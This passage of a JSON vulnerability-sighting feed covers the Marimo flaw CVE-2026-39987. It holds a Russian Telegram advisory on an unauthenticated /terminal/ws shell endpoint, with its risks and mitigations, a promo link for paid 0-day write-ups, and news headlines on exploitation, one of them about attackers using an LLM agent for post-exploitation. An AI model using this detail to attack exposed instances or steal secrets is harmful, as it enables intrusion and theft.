\u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043d\u0430\u0447\u0430\u043b\u0430\u0441\u044c \u043c\u0435\u043d\u044c\u0448\u0435 \u0447\u0435\u043c \u0447\u0435\u0440\u0435\u0437 10 \u0447\u0430\u0441\u043e\u0432 \u043f\u043e\u0441\u043b\u0435 disclosure\n\n\ud83d\udca5 \u0421\u0443\u0442\u044c \u0431\u0430\u0433\u0430: endpoint /terminal/ws \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u043b WebSocket-\u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0435 \u0431\u0435\u0437 \u043f\u043e\u043b\u043d\u043e\u0446\u0435\u043d\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438. \u041e\u0434\u0438\u043d \u043a\u043e\u043d\u043d\u0435\u043a\u0442 \u2014 \u0438 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u0438\u043d\u0442\u0435\u0440\u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0439 shell \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0445 \u043a\u043e\u043c\u0430\u043d\u0434.\n\n\ud83d\udea8 \u0427\u0435\u043c \u044d\u0442\u043e \u043e\u043f\u0430\u0441\u043d\u043e?\n\u0417\u0430\u0431\u0440\u0430\u0442\u044c .env, \u0442\u043e\u043a\u0435\u043d\u044b, SSH-\u043a\u043b\u044e\u0447\u0438 \u0438 \u0434\u0430\u043b\u044c\u0448\u0435 \u043f\u043e\u0439\u0442\u0438 \u0432 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443. \u0414\u043b\u044f \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0445 \u0438\u043d\u0441\u0442\u0430\u043d\u0441\u043e\u0432 \u044d\u0442\u043e \u0438\u0441\u0442\u043e\u0440\u0438\u044f \u0443\u0440\u043e\u0432\u043d\u044f patch now.\n\n\ud83d\udee1 \u0427\u0442\u043e \u0434\u0435\u043b\u0430\u0442\u044c \u043f\u0440\u044f\u043c\u043e \u0441\u0435\u0439\u0447\u0430\u0441?\n1) \u041e\u0431\u043d\u043e\u0432\u0438\u0442\u044c Marimo \u0434\u043e 0.23.0+\n2) \u0423\u0431\u0440\u0430\u0442\u044c \u0438\u043d\u0441\u0442\u0430\u043d\u0441 \u0438\u0437 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0433\u043e \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0430\n3) \u041f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u044f \u043a /terminal/ws\n4) \u0421\u043c\u0435\u043d\u0438\u0442\u044c \u0441\u0435\u043a\u0440\u0435\u0442\u044b, \u0435\u0441\u043b\u0438 \u0445\u043e\u0441\u0442 \u0431\u044b\u043b \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d \u0441\u043d\u0430\u0440\u0443\u0436\u0438\n\n\ud83d\udcc4 \u041f\u043e\u043b\u043d\u044b\u0439 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 \u2014 \u0432 PDF \u043d\u0438\u0436\u0435 \ud83d\udc47\n\n\ud83d\udc8e \u0411\u043e\u043b\u044c\u0448\u0435 \u044d\u043a\u0441\u043a\u043b\u044e\u0437\u0438\u0432\u043d\u044b\u0445 \u0440\u0430\u0437\u0431\u043e\u0440\u043e\u0432 \u0438 0-day \u0440\u0430\u043d\u044c\u0448\u0435 \u0432\u0441\u0435\u0445: https://vip.eh.su\n\n#Marimo #CVE #RCE #ZeroDay #Python #CyberSecurity #Infosec #critical_bug", "creation_timestamp": "2026-07-20T00:00:07.161711Z"}, {"uuid": "926476e4-dfa4-4f12-8e03-a8ae31d1b14f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "exploited", "source": "https://t.me/MalaysiaHacktivistz/20960", "content": "Weaponized CVE-2026-39987 Pushes Blockchain Backdoor Through Hugging Face \u2013 gbhackers.com\n\nFri, 17 Apr 2026 16:10:46", "creation_timestamp": "2026-07-20T00:00:21.776960Z"}, {"uuid": "e929d559-e7bf-472c-85f0-1d7038ba59ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "exploited", "source": "https://t.me/MalaysiaHacktivistz/20787", "content": "Marimo RCE Flaw CVE-2026-39987 Exploited Within 10 Hours of Disclosure \u2013 thehackernews.com\n\nFri, 10 Apr 2026 15:37:00", "creation_timestamp": "2026-07-20T00:00:21.255786Z"}, {"uuid": "9c86fc78-294a-4ea7-b193-ea29af2171cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "exploited", "source": "https://t.me/MalaysiaHacktivistz/21893", "content": "Attackers Use LLM Agent for Post-Exploitation After Marimo CVE-2026-39987 Exploit \u2013 thehackernews.com\n\nFri, 29 May 2026 22:39:56", "creation_timestamp": "2026-07-20T00:00:22.434410Z"}]}